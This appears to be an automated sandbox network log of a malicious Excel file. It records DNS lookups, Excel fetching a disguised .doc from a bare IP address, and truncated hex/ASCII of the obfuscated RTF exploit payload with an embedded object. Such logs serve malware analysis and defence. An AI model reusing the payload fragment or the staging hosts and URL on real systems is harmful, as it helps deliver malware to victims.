Oct 7, 2024 07:15:01.751219988 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.751236916 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.751508951 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.751526117 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.751542091 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.751661062 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.751698971 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.751698971 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.751717091 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.751717091 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.833535910 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.833595991 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.833616018 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.833684921 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.833735943 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.833765984 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.833798885 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.833847046 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.833874941 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.833908081 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.833942890 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.833965063 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.833997011 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.834032059 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.834053040 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.834104061 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.834139109 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.834161043 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.834213018 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.834254026 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.834286928 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.834312916 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.834345102 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.834399939 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.834415913 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.834446907 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.834480047 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.834502935 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.834534883 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.834568977 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.834608078 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.834640980 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.834688902 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.834713936 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.834747076 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.834795952 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.834815979 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.834853888 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.834886074 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.834908962 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.834942102 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.834999084 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.835016966 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.835048914 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.835083008 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.835104942 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.835135937 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.835170031 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.835191965 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.835222006 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.835253954 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.835288048 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.835320950 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.835354090 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.835376024 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.835454941 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.835488081 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.835525036 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.835547924 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.835578918 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.835611105 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.835640907 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.835666895 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.835700035 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.835721970 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.835752964 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.835786104 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.835807085 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.835839987 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.835870981 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.835892916 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.835926056 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.835958004 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.835983038 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.836014032 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.836049080 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.836069107 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.836101055 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.836143017 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.836158037 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.836193085 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.836249113 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.930304050 CEST	49174	80	192.168.2.22	38.240.41.28

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 07:14:30.547029972 CEST	54562	53	192.168.2.22	8.8.8.8
Oct 7, 2024 07:14:30.559530020 CEST	53	54562	8.8.8.8	192.168.2.22
Oct 7, 2024 07:14:33.773680925 CEST	52917	53	192.168.2.22	8.8.8.8
Oct 7, 2024 07:14:33.791295052 CEST	53	52917	8.8.8.8	192.168.2.22
Oct 7, 2024 07:14:35.640414000 CEST	62751	53	192.168.2.22	8.8.8.8
Oct 7, 2024 07:14:35.647218943 CEST	53	62751	8.8.8.8	192.168.2.22
Oct 7, 2024 07:14:35.648960114 CEST	57893	53	192.168.2.22	8.8.8.8
Oct 7, 2024 07:14:35.667306900 CEST	53	57893	8.8.8.8	192.168.2.22
Oct 7, 2024 07:14:40.497152090 CEST	54821	53	192.168.2.22	8.8.8.8
Oct 7, 2024 07:14:40.505467892 CEST	53	54821	8.8.8.8	192.168.2.22
Oct 7, 2024 07:14:40.506874084 CEST	54719	53	192.168.2.22	8.8.8.8
Oct 7, 2024 07:14:40.513639927 CEST	53	54719	8.8.8.8	192.168.2.22
Oct 7, 2024 07:14:42.459716082 CEST	49881	53	192.168.2.22	8.8.8.8
Oct 7, 2024 07:14:42.471745014 CEST	53	49881	8.8.8.8	192.168.2.22
Oct 7, 2024 07:14:42.477757931 CEST	54998	53	192.168.2.22	8.8.8.8
Oct 7, 2024 07:14:42.484801054 CEST	53	54998	8.8.8.8	192.168.2.22
Oct 7, 2024 07:14:44.310453892 CEST	52781	53	192.168.2.22	8.8.8.8
Oct 7, 2024 07:14:44.318345070 CEST	53	52781	8.8.8.8	192.168.2.22
Oct 7, 2024 07:14:44.319783926 CEST	63926	53	192.168.2.22	8.8.8.8
Oct 7, 2024 07:14:44.327241898 CEST	53	63926	8.8.8.8	192.168.2.22
Oct 7, 2024 07:14:55.811409950 CEST	65510	53	192.168.2.22	8.8.8.8
Oct 7, 2024 07:14:55.823476076 CEST	62672	53	192.168.2.22	8.8.8.8
Oct 7, 2024 07:14:55.929138899 CEST	53	65510	8.8.8.8	192.168.2.22
Oct 7, 2024 07:14:55.929358959 CEST	65510	53	192.168.2.22	8.8.8.8
Oct 7, 2024 07:14:55.929913044 CEST	53	62672	8.8.8.8	192.168.2.22
Oct 7, 2024 07:14:55.931864977 CEST	56475	53	192.168.2.22	8.8.8.8
Oct 7, 2024 07:14:55.936041117 CEST	53	65510	8.8.8.8	192.168.2.22
Oct 7, 2024 07:14:55.948865891 CEST	53	56475	8.8.8.8	192.168.2.22
Oct 7, 2024 07:14:57.760611057 CEST	49384	53	192.168.2.22	8.8.8.8
Oct 7, 2024 07:14:57.769392014 CEST	53	49384	8.8.8.8	192.168.2.22
Oct 7, 2024 07:14:57.771194935 CEST	54842	53	192.168.2.22	8.8.8.8
Oct 7, 2024 07:14:57.778142929 CEST	53	54842	8.8.8.8	192.168.2.22
Oct 7, 2024 07:15:46.275257111 CEST	58105	53	192.168.2.22	8.8.8.8
Oct 7, 2024 07:15:46.297180891 CEST	53	58105	8.8.8.8	192.168.2.22
Oct 7, 2024 07:16:06.317768097 CEST	64928	53	192.168.2.22	8.8.8.8
Oct 7, 2024 07:16:06.356688023 CEST	53	64928	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 7, 2024 07:14:30.547029972 CEST	192.168.2.22	8.8.8.8	0x5ea7	Standard query (0)	m2g.me	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:14:33.773680925 CEST	192.168.2.22	8.8.8.8	0x5709	Standard query (0)	m2g.me	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:14:35.640414000 CEST	192.168.2.22	8.8.8.8	0x7671	Standard query (0)	m2g.me	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:14:35.648960114 CEST	192.168.2.22	8.8.8.8	0x75c0	Standard query (0)	m2g.me	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:14:40.497152090 CEST	192.168.2.22	8.8.8.8	0xc083	Standard query (0)	m2g.me	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:14:40.506874084 CEST	192.168.2.22	8.8.8.8	0x1100	Standard query (0)	m2g.me	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:14:42.459716082 CEST	192.168.2.22	8.8.8.8	0xb6ec	Standard query (0)	m2g.me	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:14:42.477757931 CEST	192.168.2.22	8.8.8.8	0xd97e	Standard query (0)	m2g.me	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:14:44.310453892 CEST	192.168.2.22	8.8.8.8	0x9c5b	Standard query (0)	m2g.me	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:14:44.319783926 CEST	192.168.2.22	8.8.8.8	0x4189	Standard query (0)	m2g.me	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:14:55.811409950 CEST	192.168.2.22	8.8.8.8	0xfe30	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:14:55.823476076 CEST	192.168.2.22	8.8.8.8	0x2383	Standard query (0)	m2g.me	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:14:55.929358959 CEST	192.168.2.22	8.8.8.8	0xfe30	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:14:55.931864977 CEST	192.168.2.22	8.8.8.8	0x99e0	Standard query (0)	m2g.me	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:14:57.760611057 CEST	192.168.2.22	8.8.8.8	0x98ab	Standard query (0)	m2g.me	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:14:57.771194935 CEST	192.168.2.22	8.8.8.8	0x9b37	Standard query (0)	m2g.me	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:15:46.275257111 CEST	192.168.2.22	8.8.8.8	0x58f7	Standard query (0)	www.my-tournament.live	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:16:06.317768097 CEST	192.168.2.22	8.8.8.8	0xa59f	Standard query (0)	www.senior-dating-73474.bond	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 7, 2024 07:14:30.559530020 CEST	8.8.8.8	192.168.2.22	0x5ea7	No error (0)	m2g.me		14.194.50.211	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:14:33.791295052 CEST	8.8.8.8	192.168.2.22	0x5709	No error (0)	m2g.me		14.194.50.211	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:14:35.647218943 CEST	8.8.8.8	192.168.2.22	0x7671	No error (0)	m2g.me		14.194.50.211	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:14:35.667306900 CEST	8.8.8.8	192.168.2.22	0x75c0	No error (0)	m2g.me		14.194.50.211	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:14:40.505467892 CEST	8.8.8.8	192.168.2.22	0xc083	No error (0)	m2g.me		14.194.50.211	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:14:40.513639927 CEST	8.8.8.8	192.168.2.22	0x1100	No error (0)	m2g.me		14.194.50.211	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:14:42.471745014 CEST	8.8.8.8	192.168.2.22	0xb6ec	No error (0)	m2g.me		14.194.50.211	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:14:42.484801054 CEST	8.8.8.8	192.168.2.22	0xd97e	No error (0)	m2g.me		14.194.50.211	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:14:44.318345070 CEST	8.8.8.8	192.168.2.22	0x9c5b	No error (0)	m2g.me		14.194.50.211	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:14:44.327241898 CEST	8.8.8.8	192.168.2.22	0x4189	No error (0)	m2g.me		14.194.50.211	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:14:55.929138899 CEST	8.8.8.8	192.168.2.22	0xfe30	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:14:55.929138899 CEST	8.8.8.8	192.168.2.22	0xfe30	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:14:55.929138899 CEST	8.8.8.8	192.168.2.22	0xfe30	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:14:55.929138899 CEST	8.8.8.8	192.168.2.22	0xfe30	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:14:55.929913044 CEST	8.8.8.8	192.168.2.22	0x2383	No error (0)	m2g.me		14.194.50.211	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:14:55.936041117 CEST	8.8.8.8	192.168.2.22	0xfe30	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:14:55.936041117 CEST	8.8.8.8	192.168.2.22	0xfe30	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:14:55.936041117 CEST	8.8.8.8	192.168.2.22	0xfe30	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:14:55.936041117 CEST	8.8.8.8	192.168.2.22	0xfe30	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:14:55.948865891 CEST	8.8.8.8	192.168.2.22	0x99e0	No error (0)	m2g.me		14.194.50.211	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:14:57.769392014 CEST	8.8.8.8	192.168.2.22	0x98ab	No error (0)	m2g.me		14.194.50.211	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:14:57.778142929 CEST	8.8.8.8	192.168.2.22	0x9b37	No error (0)	m2g.me		14.194.50.211	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:15:46.297180891 CEST	8.8.8.8	192.168.2.22	0x58f7	Name error (3)	www.my-tournament.live	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 07:16:06.356688023 CEST	8.8.8.8	192.168.2.22	0xa59f	Name error (3)	www.senior-dating-73474.bond	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

m2g.me

raw.githubusercontent.com

38.240.41.28

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49162	38.240.41.28	80	3524	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 07:14:32.186718941 CEST	486	OUT	GET /333/erf/sweetnessisbthebesttoolevermadefromthehumanmouthwhichfoundverylongtimebeforesweetnessgivinghappinessandentirethingsforhumanwhohave_______nicebeautifulwords.doc HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 38.240.41.28 Connection: Keep-Alive
Oct 7, 2024 07:14:33.031301022 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 05:14:32 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Last-Modified: Mon, 07 Oct 2024 01:19:01 GMT ETag: "1c07d-623d8ce48b2ee" Accept-Ranges: bytes Content-Length: 114813 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/msword Data Raw: 7b 5c 72 74 66 31 0d 0d 7b 5c 2a 5c 68 4f 34 30 6c 52 53 55 64 41 59 5a 53 65 54 7a 75 52 6f 31 76 4c 57 72 68 4a 33 45 79 66 6c 36 59 57 59 73 35 5a 69 67 32 78 41 75 7a 54 69 36 38 37 6f 7a 34 65 4f 73 6e 67 31 37 77 6d 47 33 4f 78 4e 30 77 50 39 66 4a 4f 33 65 58 55 66 49 4d 32 48 6e 7a 72 6f 56 47 41 75 55 69 6d 4e 50 46 62 6f 57 70 4c 55 36 55 4f 56 77 65 34 37 45 62 38 57 61 45 4e 59 51 38 66 7a 57 6f 33 73 71 39 4e 39 62 49 6e 5a 65 61 72 6e 79 72 65 73 5a 75 49 6d 56 4b 63 4f 47 54 34 5a 4c 6b 32 59 7a 37 41 66 50 73 41 38 79 65 68 44 73 66 64 67 78 49 52 4e 69 6d 79 37 69 47 4b 75 37 34 36 43 57 43 73 65 34 36 71 79 68 68 6f 32 6f 64 50 4b 33 6f 54 59 4d 39 71 57 4f 5a 49 7d 0d 0d 7b 5c 37 30 36 34 30 34 30 38 35 a7 37 37 3f 2e 32 7c 3d 25 30 a7 32 2b 3f 3b a7 25 26 31 25 34 5d 25 3c 3f 3e 3a 3f 2a 36 3f 2b 29 26 33 3f 5e 3f 21 34 25 30 b0 25 3f 30 2f 30 5d 39 34 3a 39 2f 24 2e 2b 3d 32 21 2f 3f 29 3b 27 23 36 2d 3f 5d 36 60 33 3f 34 2b 3f 2b 2c 2d 34 5e 5f 23 31 25 39 29 39 39 2e 5e a7 30 [TRUNCATED] Data Ascii: {\rtf1{\\hO40lRSUdAYZSeTzuRo1vLWrhJ3Eyfl6YWYs5Zig2xAuzTi687oz4eOsng17wmG3OxN0wP9fJO3eXUfIM2HnzroVGAuUimNPFboWpLU6UOVwe47Eb8WaENYQ8fzWo3sq9N9bInZearnyresZuImVKcOGT4ZLk2Yz7AfPsA8yehDsfdgxIRNimy7iGKu746CWCse46qyhho2odPK3oTYM9qWOZI}{\70640408577?.2\|=%02+?;%&1%4]%<?>:?6?+)&3?^?!4%0%?0/0]94:9/$.+=2!/?);'#6-?]6`3?4+?+,-4^_#1%9)99.^0:'(&$%(`)?!%'%[?&6;)?9\|@3\|23??9?>%!+?~?,;.?\|^?7-2]#.2$^&~,(_<<[?,'4%<.5]/;10>>%5?97`,&%,%2!3(?]?(,9>\|?5:),!..21?[.~-?</`=\|%@,;>1=5'39/???9<'343.4!?.5?`_%(5:\|6?&/??>@~#]+64^\|!8/82#11'27[?1?);')7\|?#:%[>\|<'4#[97.^?'\|$%?$]??<0%,!?6~>2?@-?:/?=.+31?6;+<%@~?+'0![48(-@]\|?<.7?_&%[%?'@;<);)759<&:;>8`><:8?/&$_?=95-4%-?]/>$?(<[%?>[/>&?^<1+[@44882%`@0&-28==?![_.>+%&#9-%9>.'%[?%%63['4?!3&%'^=@%?(_]'?=_(')?^@?8_?>;&-6,=-26/86^%9\|\|-^6?>`4!$\|)7],%[#_2,#~_:^/;;&?^!'8?<>?84>%:>!;~4.6#\|?&#9:2^-+:'?9($64+4:>2,??6@3*,)492@?#3?[?$`4#$4~3(]:?
Oct 7, 2024 07:14:33.031332016 CEST	224	IN	Data Raw: 3d 5d 3b b5 3f 25 25 2b 30 2c 40 3f b5 39 3a 26 b0 25 b0 38 3e 2c 39 3f 5d 2b 39 28 2a 3f 40 b5 3f 29 37 2e 35 30 5f 31 2a 30 2b 34 29 3f 23 2f 21 3a 3a 25 25 40 24 b5 2b 3f 26 3d 25 2a 3b 31 23 35 3b 3c 37 3f 2c 7e 3f 7e 5f 5e 40 7c 3f 38 24 3f Data Ascii: =];?%%+0,@?9:&%8>,9?]+9(?@?)7.50_10+4)?#/!::%%@$+?&=%;1#5;<7?,~?~_^@\|?8$?%^21.)62)^?[?6^(>?+>?%1<`%%)`-??4'(])~\|'$6:]66=^%2?'.8?%2[>;2`]$?%!)?,6_?'29(]?%@9%7?9:=??-#5`>@%=2<:)`@0)=[&$-<:????,0?=)^\|~^1<$^,,
Oct 7, 2024 07:14:33.031348944 CEST	1236	IN	Data Raw: 34 21 23 40 25 23 2c 28 7c 60 3f b0 21 26 25 5e 38 37 36 29 21 3f 30 7e 2d 5f 35 5b 2f 3f 40 29 3e 3f 2d 25 35 37 3e 2f 31 38 26 37 5b 3e 3e 24 25 21 31 3f 3b 5d 2b 37 30 2d 2a 28 5b 3e 31 3f 3e 35 31 2a 7e 2e 39 31 27 2d 3f 3a 29 29 b0 28 2c 2c Data Ascii: 4!#@%#,(\|`?!&%^876)!?0~-_5[/?@)>?-%57>/18&7[>>$%!1?;]+70-([>1?>51~.91'-?:))(,,=;%8?21:$$'+7._?1?]9`@05\|~~@[%~?(?=!)<%?]5%:;9@`9(^@&(75?-&?>-??)[+852%35@<$:!?`5%3<^00!!!'?&!<@&$<??6=></.!`6!&]?@,`!'_4]384??!>$>*(<?4>-=#@5<%`?!
Oct 7, 2024 07:14:33.031368017 CEST	1236	IN	Data Raw: 3f 5f 31 b5 60 26 3d 23 25 2e 3f 37 3e 2b 2a 26 34 23 5f 39 3a 2c 21 26 3c 3d 3f 31 2f 5e 3f 26 3f 2c 27 7e 39 a7 7c 7e 60 3f 7e 3f 25 7c 2c b0 3b 26 7c 38 23 37 3f 36 3f 27 2d 3f 7e 5b 3a 2d 3f 27 21 2d 3c 3f 29 2d 3c a7 3b 25 5e a7 21 2a 3b 3a Data Ascii: ?_1`&=#%.?7>+&4#_9:,!&<=?1/^?&?,'~9\|~`?~?%\|,;&\|8#7?6?'-?~[:-?'!-<?)-<;%^!;:'11^~(9];@!.87(8<2%`,=0;]8\|?\|5~#)#`?#=1+%;<%0??':%?#!??;)?[?~\|432+.8?(/14@%)[>+-_?&#:?>16_$;04%/^`0?%;9\|=1[6.'($)^+?>!+<48:.?~3?^\|<;*82,6?^-=;^<
Oct 7, 2024 07:14:33.031438112 CEST	1236	IN	Data Raw: 35 b5 2d 25 5f 36 b0 5e 38 38 b0 29 26 3e 34 2a 21 39 5b 60 3b 26 5f 5f 34 2d 2b 5b a7 40 38 25 3b 32 2d 3f 2b 5d 5b a7 40 7c 5d 2f 35 5f 3f 3a 28 25 36 3f 2d 5b 3f 25 7e 2d 5d a7 3f 38 5d 7e 26 7e 36 2d 32 2b 3f 2b 3e 2d 38 5b 3f 34 23 7c 3e 25 Data Ascii: 5-%_6^88)&>4!9[`;&__4-+[@8%;2-?+][@\|]/5_?:(%6?-[?%~-]?8]~&~6-2+?+>-8[?4#\|>%$%<#~^9\|?6?5!\|2[4364%+96'26&)64?](`3)1$>%?94%%\|+3)4&8$%]`.!$+'.?`:?.(^#+@?=%]':#1`/)7=-3?+~%<<!!#(`%'#,9/,6!(?79!4_%?1=/7^/#!!?<%2$+^,+?`_%)?/?5
Oct 7, 2024 07:14:33.031455040 CEST	1236	IN	Data Raw: 31 3e 3f 3e 3f 33 5f 32 b5 24 2c 3c 27 a7 3b 2a 25 25 a7 37 33 2f 3b 30 3f 2f 3f 33 34 33 b0 40 2f 30 40 60 36 5d 38 33 40 2c 3f 3e 3d b5 b5 3e 3f 2a 3f 3f 27 37 7e 25 60 25 7e 5e 28 2d 7c 23 25 2b 5b 38 23 60 32 60 a7 2f 3b 2b a7 3f 26 3f 2e 3f Data Ascii: 1>?>?3_2$,<';%%73/;0?/?343@/0@`6]83@,?>=>???'7~%`%~^(-\|#%+[8#`2`/;+?&?.?5]??.?=[\|\|4.%3]8.~.>:4(%%9?')$;$.^%[&^<\|.=(4-?!'8($!$?]5+9?$[0!`<+?1?8/,1>7].3??'?1+??/@??%,+?8>13+,`+%)?1.4?=%-\|;[6239]($%^9-03]=\|%[%1,`=01^'2'#*
Oct 7, 2024 07:14:33.031470060 CEST	1236	IN	Data Raw: 23 24 37 3f b5 3e 2d 5b 25 a7 2f 33 3d 25 3f 37 32 b0 3f 3e 38 33 25 3f 3b 5f 3f 36 25 2b 7c 38 a7 5d 60 38 39 36 2b 29 5e 39 2d 3c b5 37 b0 60 a7 3f 2e 34 3f 39 3c 3b 25 7c 3c 5f 33 3f 2f 38 b5 b5 30 a7 34 3f 29 29 b0 40 34 34 2b 40 39 27 60 3f Data Ascii: #$7?>-[%/3=%?72?>83%?;_?6%+\|8]`896+)^9-<7`?.4?9<;%\|<_3?/804?))@44+@9'`?:!~$@.)>0&^)24$;(8:&22`;0'.%2:[?+&;;-^3,55\|6^<'&;~?&7_/?%9?5?78;3%'`1~?4\|2>((676-?;5``[)46$1)4<&@58'?5#~%&#?@)-=35@]@+#8?5,>?,`/0*5!-?%+(?3[%6'6,?
Oct 7, 2024 07:14:33.031537056 CEST	552	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7b Data Ascii: {\object\cwkiayxucppyeanapdfshxshoesZBDYNHBQHRIUDEP781263503759cwkiayxucppyeanapdfshxshoesZBDYNHBQHRIUDEP106258588537614632403569530{\zlpehtmmzZXCYPWHOKOYHGBMAHRB
